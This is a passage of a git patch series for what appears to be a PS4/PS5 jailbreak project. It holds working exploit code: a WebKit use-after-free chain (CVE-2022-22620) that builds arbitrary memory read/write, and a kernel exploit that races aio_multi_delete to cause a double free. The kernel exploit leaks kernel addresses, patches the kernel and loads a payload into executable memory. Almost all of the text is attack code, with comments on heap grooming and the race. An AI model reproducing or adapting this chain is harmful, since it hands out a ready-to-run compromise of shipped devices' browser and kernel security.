num_sds; i++) { + sds.push(new_socket()); + } - // SSV offsets - const off_m_data = 8; - const off_m_abc = 0x18; - // view offsets - const voff_vec_abc = 0; // Vector - const voff_abc = voff_vec_abc + size_vector; // ArrayBufferContents - const voff_data = voff_abc + size_abc; + let block_id = null; + let groom_ids = null; + try { + log('STAGE: Setup'); + [block_id, groom_ids] = setup(block_fd); - // WTF::Vector - // write m_data - // m_buffer - ssv_buf.write64(off_m_data, view_p.add(voff_data)); - // m_capacity - ssv_buf.write32(off_m_data + 8, data_len); - // m_size - ssv_buf.write64(off_m_data + 0xc, data_len); + log('\nSTAGE: Double free AIO queue entry'); + const sd_pair = double_free_reqs2(sds); - // 6 is the serialization format version number for ps4 6.00. The format - // is backwards compatible and using a value less than the current version - // number used by a specific WebKit version is considered valid. - // - // See CloneDeserializer::isValid() from - // WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.0x. - const CurrentVersion = 6; - const ArrayBufferTransferTag = 23; - view.write32(voff_data, CurrentVersion); - view[voff_data + 4] = ArrayBufferTransferTag; - view.write32(voff_data + 5, 0); + log('\nSTAGE: Leak kernel addresses'); + const [ + reqs1_addr, kbuf_addr, kernel_addr, target_id, evf, + ] = leak_kernel_addrs(sd_pair); - // std::unique_ptr> - // write m_arrayBufferContentsArray - ssv_buf.write64(off_m_abc, view_p.add(voff_vec_abc)); - // write WTF::Vector - view.write64(voff_vec_abc, view_p.add(voff_abc)); - view.write32(voff_vec_abc + 8, 1); - view.write32(voff_vec_abc + 0xc, 1); + log('\nSTAGE: Double free SceKernelAioRWRequest'); + const [pktopts_sds, dirty_sd] = double_free_reqs1( + reqs1_addr, kbuf_addr, target_id, evf, sd_pair[0], sds, + ); - if (size_abc === 0x20) { - // m_destructor, offset 0, leave as 0 - // m_shared, offset 8, leave as 0 - // m_data - view.write64(voff_abc + 0x10, addr); - // m_sizeInBytes - view.write32(voff_abc + 0x18, size); - } else { - // m_data - view.write64(voff_abc + 0, addr); - // m_destructor (48 bits), offset 8, leave as 0 - // m_shared (48 bits), offset 0xe, leave as 0 - // m_sizeInBytes - view.write32(voff_abc + 0x14, size); + log('\nSTAGE: Get arbitrary kernel read/write'); + const [kbase, kmem, p_ucred, restore_info] = make_kernel_arw( + pktopts_sds, dirty_sd, reqs1_addr, kernel_addr, sds); + + log('\nSTAGE: Patch kernel'); + await patch_kernel(kbase, kmem, p_ucred, restore_info); + + } finally { + close(unblock_fd); + + const t2 = performance.now(); + const ftime = t2 - t1; + const init_time = _init_t2 - _init_t1; + log('\ntime (include init): ' + (ftime) / 1000); + log('kex time: ' + (t2 - _init_t2) / 1000); + log('init time: ' + (init_time) / 1000); + log('time to init: ' + (_init_t1 - t1) / 1000); + log('time - init time: ' + (ftime - init_time) / 1000); + } + close(block_fd); + free_aios2(groom_ids.addr, groom_ids.length); + aio_multi_wait(block_id.addr, 1); + aio_multi_delete(block_id.addr, block_id.length); + for (const sd of sds) { + close(sd); } } -async function make_arw(reader, view2, pop) { - const rdr = reader; - // we have to align the fake object to atomSize (16) else the process - // crashes. we don't know why - // - // since cells (GC memory chunks) are always aligned to atomSize, there - // might be code that's assuming that all GC pointers are aligned - // - // see atomSize from WebKit/Source/JavaScriptCore/heap/MarkedBlock.h at - // PS4 8.0x - const fakeobj_off = 0x20; - const fakebt_base = fakeobj_off + off.size_jsobj; - // sizeof JSC::IndexingHeader - const indexingHeader_size = 8; - // sizeof JSC::ArrayStorage - const arrayStorage_size = 0x18; - // there's only the .raw property - const propertyStorage = 8; - const fakebt_off = fakebt_base + indexingHeader_size + propertyStorage; +kexploit().then(() => { + + window.pld_size = new Int(0x26200000, 0x9); - log('STAGE: leak CodeBlock'); - // has too be greater than 0x10. the size of JSImmutableButterfly - const bt_size = 0x10 + fakebt_off + arrayStorage_size; - const [func, bt_addr, strs_addr] = await leak_code_block(rdr, bt_size); - - const view = rdr.rstr_view; - const view_p = rdr.m_data.sub(off.strimpl_inline_str); - const view_save = new Uint8Array(view); - - view.fill(0); - make_ssv_data(view2, view, view_p, bt_addr, bt_size); - - const bt = new BufferView(pop.state); - view.set(view_save); - - log('ArrayBuffer pointing to JSImmutableButterfly:'); - for (let i = 0; i < bt.byteLength; i += 8) { - log(`${bt.read64(i)} | ${hex(i)}`); + var payload_buffer = chain.sysp('mmap', window.pld_size, 0x300000, 7, 0x41000, -1, 0); + var payload = window.pld; + var bufLen = payload.length * 4 + var payload_loader = malloc32(bufLen); + var loader_writer = payload_loader.backing; + for (var i = 0; i < payload.length; i++) { + loader_writer[i] = payload[i]; } + chain.sys('mprotect', payload_loader, bufLen, (0x1 | 0x2 | 0x4)); + var pthread = malloc(0x10); - // the immutable butterfly's indexing type is ArrayWithInt32 so - // JSImmutableButterfly::visitChildren() won't ask the GC to scan its slots - // for JSObjects to recursively visit. this means that we can write - // anything to the the butterfly's data area without fear of a GC crash - - const val_true = 7; // JSValue of "true" - const strs_cell = rdr.read64(strs_addr); - - bt.write64(fakeobj_off, strs_cell); - bt.write64(fakeobj_off + off.js_butterfly, bt_addr.add(fakebt_off)); - - // since .raw is the first ever created property, it's just besides the - // indexing header - bt.write64(fakebt_off - 0x10, val_true); - // indexing header's publicLength and vectorLength - bt.write32(fakebt_off - 8, 1); - bt.write32(fakebt_off - 8 + 4, 1); - - // custom ArrayStorage that allows read/write to index 0. we have to use an - // ArrayStorage because the structure assigned to the structure ID expects - // one so visitButterfly() will crash if we try to fake the object with a - // regular butterfly - - // m_sparseMap - bt.write64(fakebt_off, 0); - // m_indexBias - bt.write32(fakebt_off + 8, 0); - // m_numValuesInVector - bt.write32(fakebt_off + 0xc, 1); - - // m_vector[0] - bt.write64(fakebt_off + 0x10, val_true); - - // immutable_butterfly[0] = fakeobj; - bt.write64(0x10, bt_addr.add(fakeobj_off)); - - const fake = func()[0]; - log(`fake.raw: ${fake.raw}`); - log(`fake[0]: ${fake[0]}`); - log(`fake: [${fake}]`); - - const test_val = 3; - log(`test setting fake[0] to ${test_val}`); - fake[0] = test_val; - if (fake[0] !== test_val) { - die(`unexpected fake[0]: ${fake[0]}`); - } - - function addrof(obj) { - fake[0] = obj; - return bt.read64(fakebt_off + 0x10); - } - - // m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap, - // unlike FastTypedArray, where the buffer is managed by the GC. This - // prevents random crashes. - // - // See JSGenericTypedArrayView::visitChildren() from - // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at - // PS4 8.0x. - const worker = new DataView(new ArrayBuffer(1)); - const main_template = new Uint32Array(new ArrayBuffer(off.size_view)); - - const leaker = {addr: null, 0: 0}; - - const worker_p = addrof(worker); - const main_p = addrof(main_template); - const leaker_p = addrof(leaker); - - // we'll fake objects using a JSArrayBufferView whose m_mode is - // FastTypedArray. it's safe to use its buffer since it's GC-allocated. the - // current fastSizeLimit is 1000. if the length is less than or equal to - // that, we get a FastTypedArray - const scaled_sview = off.size_view / 4; - const faker = new Uint32Array(scaled_sview); - const faker_p = addrof(faker); - const faker_vector = rdr.read64(faker_p.add(off.view_m_vector)); - - const vector_idx = off.view_m_vector / 4; - const length_idx = off.view_m_length / 4; - const mode_idx = off.view_m_mode / 4; - const bt_idx = off.js_butterfly / 4; - - // fake a Uint32Array using GC memory - faker[vector_idx] = worker_p.lo; - faker[vector_idx + 1] = worker_p.hi; - faker[length_idx] = scaled_sview; - - rdr.set_addr(main_p); - faker[mode_idx] = rdr.read32_at(off.view_m_mode); - // JSCell - faker[0] = rdr.read32_at(0); - faker[1] = rdr.read32_at(4); - faker[bt_idx] = rdr.read32_at(off.js_butterfly); - faker[bt_idx + 1] = rdr.read32_at(off.js_butterfly + 4); - - // fakeobj() - bt.write64(fakebt_off + 0x10, faker_vector); - const main = fake[0]; - - log('main (pointing to worker):'); - for (let i = 0; i < off.size_view; i += 8) { - const idx = i / 4; - log(`${new Int(main[idx], main[idx + 1])} | ${hex(i)}`); - } - - new Memory( - main, worker, leaker, - leaker_p.add(off.js_inline_prop), - rdr.read64(leaker_p.add(off.js_butterfly)), + call_nze( + 'pthread_create', + pthread, + 0, + payload_loader, + payload_buffer, ); - log('achieved arbitrary r/w'); - rdr.restore(); - // set the refcount to a high value so we don't free the memory, view's - // death will already free it (a StringImpl is currently using the memory) - view.write32(0, -1); - // ditto (a SerializedScriptValue is currently using the memory) - view2.write32(0, -1); - // we don't want its death to call fastFree() on GC memory - make_arw._buffer = bt.buffer; -} - -async function main() { - log('STAGE: UAF SSV'); - const [fsets, indices] = prepare_uaf(); - const [view, [view2, pop]] = await uaf_ssv(fsets, indices[1], indices[0]); - - log('STAGE: get string relative read primitive'); - const rdr = await make_rdr(view); - - for (const fset of fsets) { - fset.rows = ''; - fset.cols = ''; - } - - log('STAGE: achieve arbitrary read/write primitive'); - await make_arw(rdr, view2, pop); - - clear_log(); - // path to your script that will use the exploit - import('./lapse.mjs'); -} -main(); +}) From 97acb8f9f67da4aa7da7f0efcadf85ccd9d73e4f Mon Sep 17 00:00:00 2001 From: ps3120 <32280131+ps3120@users.noreply.github.com> Date: Fri, 23 May 2025 14:08:14 +0200 Subject: [PATCH 06/11] Update lapse.mjs --- lapse.mjs | 36 ++++++++++++++++-------------------- 1 file changed, 16 insertions(+), 20 deletions(-) diff --git a/lapse.mjs b/lapse.mjs index 0c1c5be..b176e5e 100644 --- a/lapse.mjs +++ b/lapse.mjs @@ -1644,6 +1644,22 @@ function setup(block_fd) { return [block_id, groom_ids]; } +function malloc(sz) { + var backing = new Uint8Array(0x10000 + sz); + nogc.push(backing); + var ptr = mem.readp(mem.addrof(backing).add(0x10)); + ptr.backing = backing; + return ptr; + } + + function malloc32(sz) { + var backing = new Uint8Array(0x10000 + sz * 4); + nogc.push(backing); + var ptr = mem.readp(mem.addrof(backing).add(0x10)); + ptr.backing = new Uint32Array(backing.buffer); + return ptr; + } + function runBinLoader() { var payload_buffer = chain.sysp('mmap', 0x0, 0x300000, 0x7, 0x1000, 0xFFFFFFFF, 0); var payload_loader = malloc32(0x1000); @@ -1788,22 +1804,6 @@ export async function kexploit() { } } -function malloc(sz) { - var backing = new Uint8Array(0x10000 + sz); - nogc.push(backing); - var ptr = mem.readp(mem.addrof(backing).add(0x10)); - ptr.backing = backing; - return ptr; - } - - function malloc32(sz) { - var backing = new Uint8Array(0x10000 + sz * 4); - nogc.push(backing); - var ptr = mem.readp(mem.addrof(backing).add(0x10)); - ptr.backing = new Uint32Array(backing.buffer); - return ptr; - } - kexploit().then(() => { @@ -1828,8 +1828,4 @@ kexploit().then(() => { payload_buffer, ); - - - - }) From 95c7740245370003eaf0c537836f32d5b76bb7db Mon Sep 17 00:00:00 2001 From: ps3120 <32280131+ps3120@users.noreply.github.com> Date: Fri, 23 May 2025 14:08:45 +0200 Subject: [PATCH 07/11] Update psfree.mjs --- psfree.mjs | 2455 ++++++++++++++++------------------------------------ 1 file changed, 743 insertions(+), 1712 deletions(-) diff --git a/psfree.mjs b/psfree.mjs index b176e5e..fb9b346 100644 --- a/psfree.mjs +++ b/psfree.mjs @@ -1,4 +1,5 @@ -/* Copyright (C) 2025 anonymous +/* Copyright (C) 2023-2025 anonymous + This file is part of PSFree. PSFree is free software: you can redistribute it and/or modify @@ -14,33 +15,41 @@ GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see . */ -// Lapse is a kernel exploit for PS4 [5.00, 12.50) and PS5 [1.00-10.20). It -// takes advantage of a bug in aio_multi_delete(). Take a look at the comment -// at the race_one() function here for a brief summary. - -// debug comment legend: -// * PANIC - code will make the system vulnerable to a kernel panic or it will -// perform a operation that might panic -// * RESTORE - code will repair kernel panic vulnerability -// * MEMLEAK - memory leaks that our code will induce +// PSFree is a WebKit exploit using CVE-2022-22620 to gain arbitrary read/write +// +// vulnerable: +// * PS4 [6.00, 10.00) +// * PS5 [1.00, 6.00) +// +// * CelesteBlue from ps4-dev on discord.com +// * Helped in figuring out the size of WebCore::SerializedScriptValue and +// its needed offsets on different firmwares. +// * figured out the range of vulnerable firmwares +// * janisslsm from ps4-dev on discord.com +// * Helped in figuring out the size of JSC::ArrayBufferContents and its +// needed offsets on different firmwares. +// * Kameleon_ from ps4-dev on discord.com - tester +// * SlidyBat from PS5 R&D discord.com +// * Helped in figuring out the size of JSC::ArrayBufferContents and its +// needed offsets on different firmwares (PS5). import { Int } from './module/int64.mjs'; -import { mem } from './module/mem.mjs'; -import { log, die, hex, hexdump } from './module/utils.mjs'; -import { cstr, jstr } from './module/memtools.mjs'; -import { page_size, context_size } from './module/offset.mjs'; -import { Chain } from './module/chain.mjs'; +import { Memory,mem } from './module/mem.mjs'; +import { KB, MB } from './module/offset.mjs'; +import { BufferView } from './module/rw.mjs'; import { - View1, View2, View4, - Word, Long, Pointer, - Buffer, -} from './module/view.mjs'; + die, + DieError, + log, + clear_log, + sleep, + hex, + align, +} from './module/utils.mjs'; -import * as rop from './module/chain.mjs'; import * as config from './config.mjs'; - -const t1 = performance.now(); +import * as off from './module/offset.mjs'; // check if we are running on a supported firmware version const [is_ps4, version] = (() => { @@ -49,9 +58,9 @@ const [is_ps4, version] = (() => { const version = value & 0xffff; const [lower, upper] = (() => { if (is_ps4) { - return [0x100, 0x1250]; + return [0x600, 0x1000]; } else { - return [0x100, 0x1020]; + return [0x100, 0x600]; } })(); @@ -62,1770 +71,792 @@ const [is_ps4, version] = (() => { return [is_ps4, version]; })(); -// sys/socket.h -const AF_UNIX = 1; -const AF_INET = 2; -const AF_INET6 = 28; -const SOCK_STREAM = 1; -const SOCK_DGRAM = 2; -const SOL_SOCKET = 0xffff; -const SO_REUSEADDR = 4; -const SO_LINGER = 0x80; +const ssv_len = (() => { + if (0x600 <= config.target && config.target < 0x650) { + return 0x58; + } -// netinet/in.h -const IPPROTO_TCP = 6; -const IPPROTO_UDP = 17; -const IPPROTO_IPV6 = 41; + // PS4 9.xx and all supported PS5 versions + if (config.target >= 0x900) { + return 0x50; + } -// netinet/tcp.h -const TCP_INFO = 0x20; -const size_tcp_info = 0xec; + if (0x650 <= config.target && config.target < 0x900) { + return 0x48; + } +})(); -// netinet/tcp_fsm.h -const TCPS_ESTABLISHED = 4; +// these constants are expected to be divisible by 2 +const num_fsets = 0x180; +const num_spaces = 0x40; +const num_adjs = 8; -// netinet6/in6.h -const IPV6_2292PKTOPTIONS = 25; -const IPV6_PKTINFO = 46; -const IPV6_NEXTHOP = 48; -const IPV6_RTHDR = 51; -const IPV6_TCLASS = 61; +const num_reuses = 0x300; +const num_strs = 0x200; +const num_leaks = 0x100; -// sys/cpuset.h -const CPU_LEVEL_WHICH = 3; -const CPU_WHICH_TID = 1; - -// sys/mman.h -const MAP_SHARED = 1; -const MAP_FIXED = 0x10; - -// sys/rtprio.h -const RTP_SET = 1; -const RTP_PRIO_REALTIME = 2; - -// SceAIO has 2 SceFsstAIO workers for each SceAIO Parameter. each Parameter -// has 3 queue groups: 4 main queues, 4 wait queues, and one unused queue -// group. queue 0 of each group is currently unused. queue 1 has the lowest -// priority and queue 3 has the highest +// we can use the rows attribute of a frameset to allocate from fastMalloc // -// the SceFsstAIO workers will process entries at the main queues. they will -// refill the main queues from the corresponding wait queues each time they -// dequeue a request (e.g. fill the low priority main queue from the low -// priority wait queue) +// see parseAttribute() from +// WebKit/Source/WebCore/html/HTMLFrameSetElement.cpp at PS4 8.0x // -// entries on the wait queue will always have a 0 ticket number. they will -// get assigned a nonzero ticket number once they get put on the main queue -const AIO_CMD_READ = 1; -const AIO_CMD_WRITE = 2; -const AIO_CMD_FLAG_MULTI = 0x1000; -const AIO_CMD_MULTI_READ = AIO_CMD_FLAG_MULTI | AIO_CMD_READ; -const AIO_STATE_COMPLETE = 3; -const AIO_STATE_ABORTED = 4; -const num_workers = 2; -// max number of requests that can be created/polled/canceled/deleted/waited -const max_aio_ids = 0x80; - -// highest priority we can achieve given our credentials -const rtprio = View2.of(RTP_PRIO_REALTIME, 0x100); - -// CONFIG CONSTANTS -const main_core = 7; -const num_grooms = 0x200; -const num_handles = 0x100; -const num_sds = 0x100; // max is 0x100 due to max IPV6_TCLASS -const num_alias = 10; -const num_races = 100; -const leak_len = 16; -const num_leaks = 5; -const num_clobbers = 8; - -let chain = null; -var nogc = []; - -async function init() { - await rop.init(); - chain = new Chain(); - -// PS4 9.00 -const pthread_offsets = new Map(Object.entries({ - 'pthread_create' : 0x25510, - 'pthread_join' : 0xafa0, - 'pthread_barrier_init' : 0x273d0, - 'pthread_barrier_wait' : 0xa320, - 'pthread_barrier_destroy' : 0xfea0, - 'pthread_exit' : 0x77a0, -})); - - rop.init_gadget_map(rop.gadgets, pthread_offsets, rop.libkernel_base); -} - -function sys_void(...args) { - return chain.syscall_void(...args); -} - -function sysi(...args) { - return chain.sysi(...args); -} - -function call_nze(...args) { - const res = chain.call_int(...args); - if (res !== 0) { - die(`call(${args[0]}) returned nonzero: ${res}`); - } -} - -// #define SCE_KERNEL_AIO_STATE_NOTIFIED 0x10000 +// parseAttribute() will call newLengthArray(): // -// #define SCE_KERNEL_AIO_STATE_SUBMITTED 1 -// #define SCE_KERNEL_AIO_STATE_PROCESSING 2 -// #define SCE_KERNEL_AIO_STATE_COMPLETED 3 -// #define SCE_KERNEL_AIO_STATE_ABORTED 4 -// -// typedef struct SceKernelAioResult { -// // errno / SCE error code / number of bytes processed -// int64_t returnValue; -// // SCE_KERNEL_AIO_STATE_* -// uint32_t state; -// } SceKernelAioResult; -// -// typedef struct SceKernelAioRWRequest { -// off_t offset; -// size_t nbyte; -// void *buf; -// struct SceKernelAioResult *result; -// int fd; -// } SceKernelAioRWRequest; -// -// typedef int SceKernelAioSubmitId; -// -// // SceAIO submit commands -// #define SCE_KERNEL_AIO_CMD_READ 0x001 -// #define SCE_KERNEL_AIO_CMD_WRITE 0x002 -// #define SCE_KERNEL_AIO_CMD_MASK 0xfff -// // SceAIO submit command flags -// #define SCE_KERNEL_AIO_CMD_MULTI 0x1000 -// -// #define SCE_KERNEL_AIO_PRIORITY_LOW 1 -// #define SCE_KERNEL_AIO_PRIORITY_MID 2 -// #define SCE_KERNEL_AIO_PRIORITY_HIGH 3 -// -// int -// aio_submit_cmd( -// u_int cmd, -// SceKernelAioRWRequest reqs[], -// u_int num_reqs, -// u_int prio, -// SceKernelAioSubmitId ids[] -// ); -function aio_submit_cmd(cmd, requests, num_requests, handles) { - sysi('aio_submit_cmd', cmd, requests, num_requests, 3, handles); -} - -// the various SceAIO syscalls that copies out errors/states will not check if -// the address is NULL and will return EFAULT. this dummy buffer will serve as -// the default argument so users don't need to specify one -const _aio_errors = new View4(max_aio_ids); -const _aio_errors_p = _aio_errors.addr; - -// int -// aio_multi_delete( -// SceKernelAioSubmitId ids[], -// u_int num_ids, -// int sce_errors[] -// ); -function aio_multi_delete(ids, num_ids, sce_errs=_aio_errors_p) { - sysi('aio_multi_delete', ids, num_ids, sce_errs); -} - -// int -// aio_multi_poll( -// SceKernelAioSubmitId ids[], -// u_int num_ids, -// int states[] -// ); -function aio_multi_poll(ids, num_ids, sce_errs=_aio_errors_p) { - sysi('aio_multi_poll', ids, num_ids, sce_errs); -} - -// int -// aio_multi_cancel( -// SceKernelAioSubmitId ids[], -// u_int num_ids, -// int states[] -// ); -function aio_multi_cancel(ids, num_ids, sce_errs=_aio_errors_p) { - sysi('aio_multi_cancel', ids, num_ids, sce_errs); -} - -// // wait for all (AND) or atleast one (OR) to finish -// // DEFAULT is the same as AND -// #define SCE_KERNEL_AIO_WAIT_DEFAULT 0x00 -// #define SCE_KERNEL_AIO_WAIT_AND 0x01 -// #define SCE_KERNEL_AIO_WAIT_OR 0x02 -// -// int -// aio_multi_wait( -// SceKernelAioSubmitId ids[], -// u_int num_ids, -// int states[], -// // SCE_KERNEL_AIO_WAIT_* -// uint32_t mode, -// useconds_t *timeout -// ); -function aio_multi_wait(ids, num_ids, sce_errs=_aio_errors_p) { - sysi('aio_multi_wait', ids, num_ids, sce_errs, 1, 0); -} - -function make_reqs1(num_reqs) { - const reqs1 = new Buffer(0x28 * num_reqs); - for (let i = 0; i < num_reqs; i++) { - // .fd = -1 - reqs1.write32(0x20 + i*0x28, -1); - } - return reqs1; -} - -function spray_aio( - loops=1, reqs1_p, num_reqs, ids_p, multi=true, cmd=AIO_CMD_READ, -) { - const step = 4 * (multi ? num_reqs : 1); - cmd |= multi ? AIO_CMD_FLAG_MULTI : 0; - for (let i = 0, idx = 0; i < loops; i++) { - aio_submit_cmd(cmd, reqs1_p, num_reqs, ids_p.add(idx)); - idx += step; - } -} - -function poll_aio(ids, states, num_ids=ids.length) { - if (states !== undefined) { - states = states.addr; - } - aio_multi_poll(ids.addr, num_ids, states); -} - -function cancel_aios(ids_p, num_ids) { - const len = max_aio_ids; - const rem = num_ids % len; - const num_batches = (num_ids - rem) / len; - for (let bi = 0; bi < num_batches; bi++) { - aio_multi_cancel(ids_p.add((bi << 2) * len), len); - } - if (rem) { - aio_multi_cancel(ids_p.add((num_batches << 2) * len), rem); - } -} - -function free_aios(ids_p, num_ids) { - const len = max_aio_ids; - const rem = num_ids % len; - const num_batches = (num_ids - rem) / len; - for (let bi = 0; bi < num_batches; bi++) { - const addr = ids_p.add((bi << 2) * len); - aio_multi_cancel(addr, len); - aio_multi_poll(addr, len); - aio_multi_delete(addr, len); - } - if (rem) { - const addr = ids_p.add((num_batches << 2) * len); - aio_multi_cancel(addr, len); - aio_multi_poll(addr, len); - aio_multi_delete(addr, len); - } -} - -function free_aios2(ids_p, num_ids) { - const len = max_aio_ids; - const rem = num_ids % len; - const num_batches = (num_ids - rem) / len; - for (let bi = 0; bi < num_batches; bi++) { - const addr = ids_p.add((bi << 2) * len); - aio_multi_poll(addr, len); - aio_multi_delete(addr, len); - } - if (rem) { - const addr = ids_p.add((num_batches << 2) * len); - aio_multi_poll(addr, len); - aio_multi_delete(addr, len); - } -} - -function get_our_affinity(mask) { - sysi( - 'cpuset_getaffinity', - CPU_LEVEL_WHICH, - CPU_WHICH_TID, - -1, - 8, - mask.addr, - ); -} - -function set_our_affinity(mask) { - sysi( - 'cpuset_setaffinity', - CPU_LEVEL_WHICH, - CPU_WHICH_TID, - -1, - 8, - mask.addr, - ); -} - -function close(fd) { - sysi('close', fd); -} - -function new_socket() { - return sysi('socket', AF_INET6, SOCK_DGRAM, IPPROTO_UDP); -} - -function new_tcp_socket() { - return sysi('socket', AF_INET, SOCK_STREAM, 0); -} - -function gsockopt(sd, level, optname, optval, optlen) { - const size = new Word(optval.size); - if (optlen !== undefined) { - size[0] = optlen; - } - - sysi('getsockopt', sd, level, optname, optval.addr, size.addr); - return size[0]; -} - -function setsockopt(sd, level, optname, optval, optlen) { - sysi('setsockopt', sd, level, optname, optval, optlen); -} - -function ssockopt(sd, level, optname, optval, optlen) { - if (optlen === undefined) { - optlen = optval.size; - } - - const addr = optval.addr; - setsockopt(sd, level, optname, addr, optlen); -} - -function get_rthdr(sd, buf, len) { - return gsockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len); -} - -function set_rthdr(sd, buf, len) { - ssockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len); -} - -function free_rthdrs(sds) { - for (const sd of sds) { - setsockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, 0, 0); - } -} - -function build_rthdr(buf, size) { - const len = ((size >> 3) - 1) & ~1; - size = (len + 1) << 3; - - buf[0] = 0; - buf[1] = len; - buf[2] = 0; - buf[3] = len >> 1; - - return size; -} - -function spawn_thread(thread) { - const ctx = new Buffer(context_size); - const pthread = new Pointer(); - pthread.ctx = ctx; - // pivot the pthread's stack pointer to our stack - ctx.write64(0x38, thread.stack_addr); - ctx.write64(0x80, thread.get_gadget('ret')); - - call_nze( - 'pthread_create', - pthread.addr, - 0, - chain.get_gadget('setcontext'), - ctx.addr, - ); - - return pthread; -} - -// EXPLOIT STAGES IMPLEMENTATION - -// FUNCTIONS FOR STAGE: 0x80 MALLOC ZONE DOUBLE FREE - -function make_aliased_rthdrs(sds) { - const marker_offset = 4; - const size = 0x80; - const buf = new Buffer(size); - const rsize = build_rthdr(buf, size); - - for (let loop = 0; loop < num_alias; loop++) { - for (let i = 0; i < num_sds; i++) { - buf.write32(marker_offset, i); - set_rthdr(sds[i], buf, rsize); - } - - for (let i = 0; i < sds.length; i++) { - get_rthdr(sds[i], buf); - const marker = buf.read32(marker_offset); - if (marker !== i) { - log(`aliased rthdrs at attempt: ${loop}`); - const pair = [sds[i], sds[marker]]; - log(`found pair: ${pair}`); - sds.splice(marker, 1); - sds.splice(i, 1); - free_rthdrs(sds); - sds.push(new_socket(), new_socket()); - return pair; - } - } - } - die(`failed to make aliased rthdrs. size: ${hex(size)}`); -} - -// summary of the bug at aio_multi_delete(): -// -// void -// free_queue_entry(struct aio_entry *reqs2) +// UniqueArray newLengthArray(const String& string, int& len) // { -// if (reqs2->ar2_spinfo != NULL) { -// printf( -// "[0]%s() line=%d Warning !! split info is here\n", -// __func__, -// __LINE__ -// ); -// } -// if (reqs2->ar2_file != NULL) { -// // we can potentially delay .fo_close() -// fdrop(reqs2->ar2_file, curthread); -// reqs2->ar2_file = NULL; -// } -// free(reqs2, M_AIO_REQS2); +// RefPtr str = string.impl()->simplifyWhiteSpace(); +// ... +// len = countCharacter(*str, ',') + 1; [1] +// auto r = makeUniqueArray(len); [2] +// ... // } // -// int -// _aio_multi_delete( -// struct thread *td, -// SceKernelAioSubmitId ids[], -// u_int num_ids, -// int sce_errors[]) -// { -// // ... -// struct aio_object *obj = id_rlock(id_tbl, id, 0x160, id_entry); -// // ... -// u_int rem_ids = obj->ao_rem_ids; -// if (rem_ids != 1) { -// // BUG: wlock not acquired on this path -// obj->ao_rem_ids = --rem_ids; -// // ... -// free_queue_entry(obj->ao_entries[req_idx]); -// // the race can crash because of a NULL dereference since this path -// // doesn't check if the array slot is NULL so we delay -// // free_queue_entry() -// obj->ao_entries[req_idx] = NULL; -// } else { -// // ... -// } -// // ... -// } -function race_one(request_addr, tcp_sd, barrier, racer, sds) { - const sce_errs = new View4([-1, -1]); - const thr_mask = new Word(1 << main_core); +// pseudocode definition: +// +// class UniqueArray: +// size_t _size; [3] +// Length _data[]; +// +// [2] allocates from the fastMalloc heap. [1] will add an additional 1 to len. +// [3] adds an extra 8 bytes to the array +// +// a Length is 8 bytes in size. if we want to allocate ssv_len bytes from +// fastMalloc, then we need: +// +// const num_repeats = ssv_len / 8 - 2; +// const rows = ','.repeat(num_repeats); +const rows = ','.repeat(ssv_len / 8 - 2); - const thr = racer; - thr.push_syscall( - 'cpuset_setaffinity', - CPU_LEVEL_WHICH, - CPU_WHICH_TID, - -1, - 8, - thr_mask.addr, +const original_strlen = ssv_len - off.size_strimpl; +const original_loc = location.pathname; + +function gc() { + new Uint8Array(4 * MB); +} + +function sread64(str, offset) { + const low = ( + str.charCodeAt(offset) + | str.charCodeAt(offset + 1) << 8 + | str.charCodeAt(offset + 2) << 16 + | str.charCodeAt(offset + 3) << 24 ); - thr.push_syscall('rtprio_thread', RTP_SET, 0, rtprio.addr); - thr.push_gadget('pop rax; ret'); - thr.push_value(1); - thr.push_get_retval(); - thr.push_call('pthread_barrier_wait', barrier.addr); - thr.push_syscall( - 'aio_multi_delete', - request_addr, - 1, - sce_errs.addr_at(1), + const high = ( + str.charCodeAt(offset + 4) + | str.charCodeAt(offset + 5) << 8 + | str.charCodeAt(offset + 6) << 16 + | str.charCodeAt(offset + 7) << 24 ); - thr.push_call('pthread_exit', 0); - - const pthr = spawn_thread(thr); - const thr_tid = pthr.read32(0); - - // pthread barrier implementation: - // - // given a barrier that needs N threads for it to be unlocked, a thread - // will sleep if it waits on the barrier and N - 1 threads havent't arrived - // before - // - // if there were already N - 1 threads then that thread (last waiter) won't - // sleep and it will send out a wake-up call to the waiting threads - // - // since the ps4's cores only have 1 hardware thread each, we can pin 2 - // threads on the same core and control the interleaving of their - // executions via controlled context switches - - // wait for the worker to enter the barrier and sleep - while (thr.retval_int === 0) { - sys_void('sched_yield'); - } - - // enter the barrier as the last waiter - chain.push_call('pthread_barrier_wait', barrier.addr); - // yield and hope the scheduler runs the worker next. the worker will then - // sleep at soclose() and hopefully we run next - chain.push_syscall('sched_yield'); - // if we get here and the worker hasn't been reran then we can delay the - // worker's execution of soclose() indefinitely - chain.push_syscall('thr_suspend_ucontext', thr_tid); - chain.push_get_retval(); - chain.push_get_errno(); - chain.push_end(); - chain.run(); - chain.reset(); - - const main_res = chain.retval_int; - log(`suspend ${thr_tid}: ${main_res} errno: ${chain.errno}`); - - if (main_res === -1) { - call_nze('pthread_join', pthr, 0); - log(); - return null; - } - - let won_race = false; - try { - const poll_err = new View4(1); - aio_multi_poll(request_addr, 1, poll_err.addr); - log(`poll: ${hex(poll_err[0])}`); - - const info_buf = new View1(size_tcp_info); - const info_size = gsockopt(tcp_sd, IPPROTO_TCP, TCP_INFO, info_buf); - log(`info size: ${hex(info_size)}`); - - if (info_size !== size_tcp_info) { - die(`info size isn't ${size_tcp_info}: ${info_size}`); - } - - const tcp_state = info_buf[0]; - log(`tcp_state: ${tcp_state}`); - - const SCE_KERNEL_ERROR_ESRCH = 0x80020003; - if (poll_err[0] !== SCE_KERNEL_ERROR_ESRCH - && tcp_state !== TCPS_ESTABLISHED - ) { - // PANIC: double free on the 0x80 malloc zone. important kernel - // data may alias - aio_multi_delete(request_addr, 1, sce_errs.addr); - won_race = true; - } - } finally { - log('resume thread\n'); - sysi('thr_resume_ucontext', thr_tid); - call_nze('pthread_join', pthr, 0); - } - - if (won_race) { - log(`race errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`); - // if the code has no bugs then this isn't possible but we keep the - // check for easier debugging - if (sce_errs[0] !== 